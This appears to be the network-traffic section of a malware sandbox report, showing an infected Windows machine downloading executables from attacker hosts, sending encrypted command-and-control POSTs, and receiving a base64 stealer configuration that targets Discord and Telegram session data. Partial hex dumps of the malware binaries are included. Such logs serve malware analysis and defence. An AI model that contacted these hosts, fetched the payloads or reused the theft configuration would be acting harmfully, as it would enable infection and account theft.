Dec 31, 2021 19:12:53.094145060 CET	2219	OUT	GET /game.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: data-host-coin-8.com
Dec 31, 2021 19:12:53.238090038 CET	2220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 31 Dec 2021 18:12:53 GMT Content-Type: application/x-msdos-program Content-Length: 350720 Connection: close Last-Modified: Fri, 31 Dec 2021 18:12:01 GMT ETag: "55a00-5d4751b8bb3a4" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 dd 23 4f a3 99 42 21 f0 99 42 21 f0 99 42 21 f0 0a 0c b9 f0 98 42 21 f0 f6 34 bf f0 88 42 21 f0 f6 34 8b f0 f6 42 21 f0 90 3a b2 f0 9a 42 21 f0 99 42 20 f0 28 42 21 f0 f6 34 8a f0 ae 42 21 f0 f6 34 bb f0 98 42 21 f0 f6 34 bc f0 98 42 21 f0 52 69 63 68 99 42 21 f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 17 37 f4 5f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 20 04 00 00 d6 33 00 00 00 00 00 40 56 02 00 00 10 00 00 00 30 04 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 20 38 00 00 04 00 00 67 a4 05 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 f4 1d 04 00 28 00 00 00 00 70 37 00 90 4e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 37 00 4c 22 00 00 30 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 a5 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 1e 04 00 00 10 00 00 00 20 04 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 0c 2a 33 00 00 30 04 00 00 8c 00 00 00 24 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 63 69 78 69 00 00 00 05 00 00 00 00 60 37 00 00 02 00 00 00 b0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 90 4e 00 00 00 70 37 00 00 50 00 00 00 b2 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 de 56 00 00 00 c0 37 00 00 58 00 00 00 02 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 cc 20 04 00 de 20 04 00 f2 20 04 00 08 21 04 00 18 21 04 00 2e 21 04 00 3e 21 04 00 5a 21 04 00 6e 21 04 00 84 21 04 00 9e 21 04 00 b8 21 04 00 d0 21 04 00 e4 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$#OB!B!B!B!4B!4B!:B!B (B!4B!4B!4B!RichB!PEL7_ 3@V0@ 8g(p7N7L"0@.text& `.data*30$@.cixi`7@.rsrcNp7P@@.relocV7X@B !!.!>!Z!n!!!!!
Dec 31, 2021 19:12:53.238153934 CET	2222	IN	Data Raw: 21 04 00 f0 21 04 00 fe 21 04 00 16 22 04 00 38 22 04 00 44 22 04 00 54 22 04 00 70 22 04 00 84 22 04 00 a0 22 04 00 b2 22 04 00 c2 22 04 00 d0 22 04 00 e0 22 04 00 f2 22 04 00 08 23 04 00 1c 23 04 00 2a 23 04 00 3a 23 04 00 4e 23 04 00 66 23 04 Data Ascii: !!!"8"D"T"p""""""""##*#:#N#f#x#######$($<$P$h$x$$$$$$$$$%&%<%L%f%%%%%%%&$&6&F&`&t&&&
Dec 31, 2021 19:12:53.238205910 CET	2223	IN	Data Raw: 00 6b 00 61 00 6c 00 6f 00 67 00 6f 00 20 00 67 00 65 00 6a 00 6f 00 63 00 00 00 00 00 52 75 73 69 70 6f 63 61 20 68 75 74 75 6a 69 6a 69 6e 69 20 62 69 76 6f 70 69 20 66 6f 70 75 68 61 74 75 76 65 20 77 61 64 61 67 00 48 6f 63 75 6b 75 77 61 6d Data Ascii: kalogo gejocRusipoca hutujijini bivopi fopuhatuve wadagHocukuwamoyaso wabigCumoceyuvem kizaxunitiNufivo tobe vasitayip hitagibelaReyahivi cekojer koxudarajih j
Dec 31, 2021 19:12:53.238257885 CET	2225	IN	Data Raw: 69 63 00 cc ab 40 00 60 0b 42 00 e0 0a 42 00 60 fe 41 00 00 0c 42 00 f0 fd 41 00 30 fd 41 00 4c ac 40 00 b0 fc 41 00 b0 7d 42 00 b0 7d 42 00 00 0c 42 00 f0 fd 41 00 30 fd 41 00 00 00 00 00 66 00 3a 00 5c 00 64 00 64 00 5c 00 76 00 63 00 74 00 6f Data Ascii: ic@`BB`ABA0AL@A}B}BBA0Af:\dd\vctools\crt_bld\self_x86\crt\src\xstringstring too longinvalid string positioniostream`@`BBBBA0A
Dec 31, 2021 19:12:53.238306999 CET	2226	IN	Data Raw: 00 6c 00 6f 00 63 00 6b 00 55 00 73 00 65 00 29 00 00 00 00 00 43 6c 69 65 6e 74 00 00 49 67 6e 6f 72 65 00 00 43 52 54 00 4e 6f 72 6d 61 6c 00 00 46 72 65 65 00 00 00 00 14 20 40 00 0c 20 40 00 08 20 40 00 00 20 40 00 f8 1f 40 00 45 72 72 6f 72 Data Ascii: lockUse)ClientIgnoreCRTNormalFree @ @ @ @@Error: memory allocation: bad memory block type.Invalid allocation size: %Iu bytes.%sClient hook allocation failure.Client hook allocation failure at
Dec 31, 2021 19:12:53.238357067 CET	2227	IN	Data Raw: 00 6c 00 6f 00 63 00 6b 00 55 00 73 00 65 00 20 00 3d 00 3d 00 20 00 6e 00 42 00 6c 00 6f 00 63 00 6b 00 55 00 73 00 65 00 00 00 70 00 48 00 65 00 61 00 64 00 2d 00 3e 00 6e 00 4c 00 69 00 6e 00 65 00 20 00 3d 00 3d 00 20 00 49 00 47 00 4e 00 4f Data Ascii: lockUse == nBlockUsepHead->nLine == IGNORE_LINE && pHead->lRequest == IGNORE_REQHEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected th
Dec 31, 2021 19:12:53.238405943 CET	2229	IN	Data Raw: 00 5f 68 65 61 70 63 68 6b 20 66 61 69 6c 73 20 77 69 74 68 20 75 6e 6b 6e 6f 77 6e 20 72 65 74 75 72 6e 20 76 61 6c 75 65 21 0a 00 00 5f 68 65 61 70 63 68 6b 20 66 61 69 6c 73 20 77 69 74 68 20 5f 48 45 41 50 42 41 44 50 54 52 2e 0a 00 00 00 5f Data Ascii: _heapchk fails with unknown return value!_heapchk fails with _HEAPBADPTR._heapchk fails with _HEAPBADEND._heapchk fails with _HEAPBADNODE._heapchk fails with _HEAPBADBEGIN._CrtSetDbgFlag(fNewBits
Dec 31, 2021 19:12:53.238457918 CET	2230	IN	Data Raw: 00 65 00 28 00 66 00 6e 00 29 00 20 00 3d 00 3d 00 20 00 5f 00 5f 00 49 00 4f 00 49 00 4e 00 46 00 4f 00 5f 00 54 00 4d 00 5f 00 41 00 4e 00 53 00 49 00 29 00 20 00 26 00 26 00 20 00 21 00 5f 00 74 00 6d 00 5f 00 75 00 6e 00 69 00 63 00 6f 00 64 Data Ascii: e(fn) == __IOINFO_TM_ANSI) && !_tm_unicode_safe(fn))))f:\dd\vctools\crt_bld\self_x86\crt\src\fputc.c(str != NULL)putc
Dec 31, 2021 19:12:53.238508940 CET	2232	IN	Data Raw: 01 81 01 81 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 10 00 10 00 10 00 10 00 10 00 10 00 82 01 82 01 82 01 82 01 82 01 82 01 02 01 02 01 02 01 02 01 02 01 02 01 02 Data Ascii: H
Dec 31, 2021 19:12:53.238558054 CET	2233	IN	Data Raw: 74 5c 73 72 63 5c 69 6e 69 74 63 74 79 70 2e 63 00 00 00 4c 43 5f 54 49 4d 45 00 4c 43 5f 4e 55 4d 45 52 49 43 00 00 4c 43 5f 4d 4f 4e 45 54 41 52 59 00 4c 43 5f 43 54 59 50 45 00 00 00 00 4c 43 5f 43 4f 4c 4c 41 54 45 00 00 4c 43 5f 41 4c 4c 00 Data Ascii: t\src\initctyp.cLC_TIMELC_NUMERICLC_MONETARYLC_CTYPELC_COLLATELC_ALLP:@zBD:@lDzB8:@lD\B,:@lD DC :@lD@@C:@lD,C !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWX
Dec 31, 2021 19:12:53.287338972 CET	2234	IN	Data Raw: 00 2c 00 20 00 28 00 20 00 2a 00 28 00 63 00 68 00 61 00 72 00 20 00 2a 00 20 00 2a 00 29 00 28 00 28 00 73 00 75 00 62 00 73 00 74 00 72 00 20 00 2b 00 3d 00 20 00 28 00 20 00 28 00 73 00 69 00 7a 00 65 00 6f 00 66 00 28 00 63 00 68 00 61 00 72 Data Ascii: , ( (char )((substr += ( (sizeof(char ) + sizeof(int) - 1) & ~(sizeof(int) - 1) )) - ( (sizeof(char *) + sizeof(int)

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.3	49805	31.28.27.130	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 31, 2021 19:12:55.504412889 CET	2591	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://kquxqntakf.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 321 Host: host-data-coin-11.com
Dec 31, 2021 19:12:55.504416943 CET	2591	OUT	Data Raw: 10 87 f1 e4 6c 84 a2 b7 ba 49 77 33 78 c9 e0 88 4b 61 dd 45 a2 4d 6e eb cd 9e ac f4 fb af e1 f6 19 b2 58 a9 19 1e cc e4 ee da f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 84 de 91 66 5d 02 c9 a1 c1 64 54 84 87 7c Data Ascii: lIw3xKaEMnXwmDu$f]dT\|&Zp'aQufhc>]}>Ar#<R.2i%WsTPf&?!Aq-PL^iLZ/HWRZ\1o8ubwaV+6[[rc1)E
Dec 31, 2021 19:12:55.587449074 CET	2592	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 31 Dec 2021 18:12:55 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.3	49806	31.28.27.130	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 31, 2021 19:12:55.702915907 CET	2593	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://hqtfgqvcew.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 299 Host: host-data-coin-11.com
Dec 31, 2021 19:12:55.702928066 CET	2593	OUT	Data Raw: 10 87 f1 e4 6c 84 a2 b7 ba 49 77 33 78 c9 e0 88 4b 61 dd 45 a2 4d 6e eb cd 9e ac f4 fb af e1 f6 19 b2 58 a9 19 1e cc e4 ee da f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 8e 66 5d 02 c8 a1 c1 64 2e d6 d0 17 Data Ascii: lIw3xKaEMnXwmDu$f]d.7jYhG+8k.,c\|X-E'qiOAC=@zxEyiUEPW3\|?HKq$H$}<]M$~@,"K\|;i<o,5d)\|FKP
Dec 31, 2021 19:12:55.775733948 CET	2594	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 31 Dec 2021 18:12:55 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.3	49859	144.76.136.153	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.3	49807	31.28.27.130	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 31, 2021 19:12:55.855552912 CET	2594	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://bpjejftnc.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 319 Host: host-data-coin-11.com
Dec 31, 2021 19:12:55.855624914 CET	2595	OUT	Data Raw: 10 87 f1 e4 6c 84 a2 b7 ba 49 77 33 78 c9 e0 88 4b 61 dd 45 a2 4d 6e eb cd 9e ac f4 fb af e1 f6 19 b2 58 a9 19 1e cc e4 ee da f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 8f 66 5d 02 c8 a1 c1 64 2d db c2 02 Data Ascii: lIw3xKaEMnXwmDu$f]d-Lt/lX\6sEV~'Xj9z_;~vHI&S2@),%#@?Vm;gG*>HTb(1"^\\3L>1:b:$&Q#
Dec 31, 2021 19:12:55.932063103 CET	2595	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 31 Dec 2021 18:12:55 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.3	49808	31.28.27.130	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 31, 2021 19:12:56.016222000 CET	2596	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://spdqunibrd.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 130 Host: host-data-coin-11.com
Dec 31, 2021 19:12:56.016247988 CET	2596	OUT	Data Raw: 10 87 f1 e4 6c 84 a2 b7 ba 49 77 33 78 c9 e0 88 4b 61 dd 45 a2 4d 6e eb cd 9e ac f4 fb af e1 f6 19 b2 58 a9 19 1e cc e4 ee da f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 8c 66 5d 02 c8 a1 c1 64 4e a8 cc 27 Data Ascii: lIw3xKaEMnXwmDu$f]dN'%d`2b].wLtQS8n}Q[&J6
Dec 31, 2021 19:12:56.090059042 CET	2596	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 31 Dec 2021 18:12:56 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 32 62 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 90 df 13 49 3c 5c a2 f7 d8 fc fb 46 f5 46 86 32 ef 06 10 c2 4b e1 e1 39 0d 0a 30 0d 0a 0d 0a Data Ascii: 2bI:82OI<\FF2K90

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.3	49809	185.7.214.171	8080	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 31, 2021 19:12:56.200491905 CET	2597	OUT	GET /6.php HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: 185.7.214.171:8080
Dec 31, 2021 19:12:56.260664940 CET	2598	IN	HTTP/1.1 200 OK Date: Fri, 31 Dec 2021 18:12:56 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Transfer-Encoding: Binary Content-disposition: attachment; filename="0458v3mtu.exe" Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: application/octet-stream Data Raw: 35 34 65 30 30 0d 0a 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 dd 23 4f a3 99 42 21 f0 99 42 21 f0 99 42 21 f0 0a 0c b9 f0 98 42 21 f0 f6 34 bf f0 88 42 21 f0 f6 34 8b f0 f6 42 21 f0 90 3a b2 f0 9a 42 21 f0 99 42 20 f0 28 42 21 f0 f6 34 8a f0 ae 42 21 f0 f6 34 bb f0 98 42 21 f0 f6 34 bc f0 98 42 21 f0 52 69 63 68 99 42 21 f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 64 e9 b9 60 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 14 04 00 00 d6 33 00 00 00 00 00 50 4b 02 00 00 10 00 00 00 30 04 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 20 38 00 00 04 00 00 9d 17 06 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 04 13 04 00 28 00 00 00 00 70 37 00 90 4e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 37 00 64 22 00 00 30 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 a5 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 36 13 04 00 00 10 00 00 00 14 04 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 0c 2a 33 00 00 30 04 00 00 8c 00 00 00 18 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 76 75 70 61 00 00 00 05 00 00 00 00 60 37 00 00 02 00 00 00 a4 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 90 4e 00 00 00 70 37 00 00 50 00 00 00 a6 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 de 56 00 00 00 c0 37 00 00 58 00 00 00 f6 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 54e00MZ@!L!This program cannot be run in DOS mode.$#OB!B!B!B!4B!4B!:B!B (B!4B!4B!4B!RichB!PELd`3PK0@ 8(p7N7d"0@.text6 `.data*30@.vupa`7@.rsrcNp7P@@.relocV7X@B

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.3	49810	31.28.27.130	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 31, 2021 19:12:57.955826044 CET	2958	OUT	GET /tratata.php HTTP/1.1 Host: file-file-host4.com Connection: Keep-Alive Cache-Control: no-cache
Dec 31, 2021 19:12:58.032016993 CET	2962	IN	HTTP/1.1 200 OK Server: nginx/1.20.2 Date: Fri, 31 Dec 2021 18:12:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=t44a91s61u0706joml8cj91epa; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: Accept-Encoding Data Raw: 63 34 0d 0a 4d 58 77 78 66 44 46 38 4d 58 78 45 61 58 4e 6a 62 33 4a 6b 66 44 42 38 4a 55 46 51 55 45 52 42 56 45 45 6c 58 47 52 70 63 32 4e 76 63 6d 52 63 54 47 39 6a 59 57 77 67 55 33 52 76 63 6d 46 6e 5a 56 78 38 4b 6e 77 78 66 44 42 38 4d 48 78 55 5a 57 78 6c 5a 33 4a 68 62 58 77 77 66 43 56 42 55 46 42 45 51 56 52 42 4a 56 78 55 5a 57 78 6c 5a 33 4a 68 62 53 42 45 5a 58 4e 72 64 47 39 77 58 48 52 6b 59 58 52 68 58 48 77 71 52 44 67 33 4e 30 59 33 4f 44 4e 45 4e 55 51 7a 52 55 59 34 51 79 6f 73 4b 6d 31 68 63 43 6f 73 4b 6d 4e 76 62 6d 5a 70 5a 33 4d 71 66 44 46 38 4d 48 77 77 66 41 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: c4MXwxfDF8MXxEaXNjb3JkfDB8JUFQUERBVEElXGRpc2NvcmRcTG9jYWwgU3RvcmFnZVx8KnwxfDB8MHxUZWxlZ3JhbXwwfCVBUFBEQVRBJVxUZWxlZ3JhbSBEZXNrdG9wXHRkYXRhXHwqRDg3N0Y3ODNENUQzRUY4QyosKm1hcCosKmNvbmZpZ3MqfDF8MHwwfA==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.3	49816	31.28.27.130	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
